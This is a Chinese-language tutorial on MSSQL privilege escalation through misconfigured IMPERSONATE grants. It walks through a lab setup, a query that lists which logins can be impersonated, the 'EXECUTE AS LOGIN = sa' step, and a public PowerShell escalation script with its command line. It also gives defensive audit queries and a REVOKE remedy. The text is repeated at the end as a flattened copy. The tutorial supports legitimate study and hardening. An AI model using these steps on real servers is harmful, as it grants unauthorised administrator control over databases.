利用mssql模拟登录提权
字数 808 2025-08-20 18:17:47

MSSQL模拟登录提权技术详解

0x01 技术原理

MSSQL的模拟登录(IMPERSONATE)功能允许低权限用户临时获取高权限用户的身份执行操作。这原本是SQL Server提供的一种合法功能,用于满足特定业务需求,但当配置不当时,攻击者可利用此功能进行权限提升。

关键概念:

  • IMPERSONATE权限:允许一个用户模拟另一个用户的安全上下文
  • EXECUTE AS命令:实际执行模拟操作的T-SQL语句
  • 安全上下文切换:模拟期间,用户权限会临时切换到被模拟用户的权限级别

0x02 环境准备与复现步骤

1. 创建测试用户

使用sa账户执行以下SQL创建4个测试用户:

-- Create login 1
CREATE LOGIN MyUser1 WITH PASSWORD = 'MyPassword!';
-- Create login 2
CREATE LOGIN MyUser2 WITH PASSWORD = 'MyPassword!';
-- Create login 3
CREATE LOGIN MyUser3 WITH PASSWORD = 'MyPassword!';
-- Create login 4
CREATE LOGIN MyUser4 WITH PASSWORD = 'MyPassword!';

2. 配置模拟权限

授予MyUser1模拟sa、MyUser2和MyUser3的权限:

USE master;
GRANT IMPERSONATE ON LOGIN::sa to [MyUser1];
GRANT IMPERSONATE ON LOGIN::MyUser2 to [MyUser1];
GRANT IMPERSONATE ON LOGIN::MyUser3 to [MyUser1];
GO

3. 查询可模拟的用户

使用MyUser1登录后,执行以下查询查看可模拟的用户:

SELECT distinct b.name
FROM sys.server_permissions a
INNER JOIN sys.server_principals b
ON a.grantor_principal_id = b.principal_id
WHERE a.permission_name = 'IMPERSONATE'

4. 执行模拟提权

验证当前权限并模拟sa账户:

-- 验证当前用户和权限
SELECT SYSTEM_USER
SELECT IS_SRVROLEMEMBER('sysadmin')

-- 模拟sa登录
EXECUTE AS LOGIN = 'sa'

-- 再次验证权限
SELECT SYSTEM_USER
SELECT IS_SRVROLEMEMBER('sysadmin')

-- 查看所有登录用户(权限提升后可见更多)
SELECT * FROM master.sys.sysusers WHERE islogin = 1

5. 恢复原始会话

REVERT
SELECT SYSTEM_USER
SELECT IS_SRVROLEMEMBER('sysadmin')

0x03 自动化工具

可使用PowerShell脚本自动化提权过程:

  1. 下载脚本:

    https://raw.githubusercontent.com/nullbind/Powershellery/master/Stable-ish/MSSQL/Invoke-SqlServer-Escalate-ExecuteAs.psm1
    
  2. 执行命令:

    Invoke-SqlServer-Escalate-ExecuteAs -SqlUser MyUser1 -SqlPass MyPassword! -SqlServerInstance WIN-80LVKKRM5UA
    

0x04 防御措施

  1. 权限最小化原则

    • 严格限制IMPERSONATE权限的分配
    • 定期审计数据库中的模拟权限配置
  2. 监控与检测

    • 监控EXECUTE AS命令的使用情况
    • 设置警报跟踪敏感账户的模拟行为
  3. 加固建议

    • 使用以下SQL查询检测不当的模拟权限:
      SELECT p.name AS Grantee, m.name AS Grantor, p.type_desc AS PrincipalType
      FROM sys.server_permissions perm
      JOIN sys.server_principals p ON perm.grantee_principal_id = p.principal_id
      JOIN sys.server_principals m ON perm.grantor_principal_id = m.principal_id
      WHERE perm.permission_name = 'IMPERSONATE'
      
  4. 补救措施

    • 撤销不必要的模拟权限:
      REVOKE IMPERSONATE ON LOGIN::sa FROM [MyUser1];
      

0x05 技术总结

  1. 该技术不是漏洞而是功能滥用,依赖于配置不当
  2. 攻击路径:低权限账户 → 获取模拟权限 → 模拟高权限账户 → 系统权限提升
  3. 影响范围:所有配置了不当模拟权限的MSSQL服务器
  4. 利用条件:攻击者需要先获得一个低权限的数据库账户

参考资源

  1. Microsoft官方文档 - GRANT服务器主体权限
  2. SQL Server存储过程黑客技术第二部分:用户模拟
  3. SQL Server安全上下文和权限模拟
MSSQL模拟登录提权技术详解 0x01 技术原理 MSSQL的模拟登录(IMPERSONATE)功能允许低权限用户临时获取高权限用户的身份执行操作。这原本是SQL Server提供的一种合法功能,用于满足特定业务需求,但当配置不当时,攻击者可利用此功能进行权限提升。 关键概念: IMPERSONATE 权限:允许一个用户模拟另一个用户的安全上下文 EXECUTE AS 命令:实际执行模拟操作的T-SQL语句 安全上下文切换:模拟期间,用户权限会临时切换到被模拟用户的权限级别 0x02 环境准备与复现步骤 1. 创建测试用户 使用sa账户执行以下SQL创建4个测试用户: 2. 配置模拟权限 授予MyUser1模拟sa、MyUser2和MyUser3的权限: 3. 查询可模拟的用户 使用MyUser1登录后,执行以下查询查看可模拟的用户: 4. 执行模拟提权 验证当前权限并模拟sa账户: 5. 恢复原始会话 0x03 自动化工具 可使用PowerShell脚本自动化提权过程: 下载脚本: 执行命令: 0x04 防御措施 权限最小化原则 : 严格限制IMPERSONATE权限的分配 定期审计数据库中的模拟权限配置 监控与检测 : 监控EXECUTE AS命令的使用情况 设置警报跟踪敏感账户的模拟行为 加固建议 : 使用以下SQL查询检测不当的模拟权限: 补救措施 : 撤销不必要的模拟权限: 0x05 技术总结 该技术不是漏洞而是功能滥用,依赖于配置不当 攻击路径:低权限账户 → 获取模拟权限 → 模拟高权限账户 → 系统权限提升 影响范围:所有配置了不当模拟权限的MSSQL服务器 利用条件:攻击者需要先获得一个低权限的数据库账户 参考资源 Microsoft官方文档 - GRANT服务器主体权限 SQL Server存储过程黑客技术第二部分:用户模拟 SQL Server安全上下文和权限模拟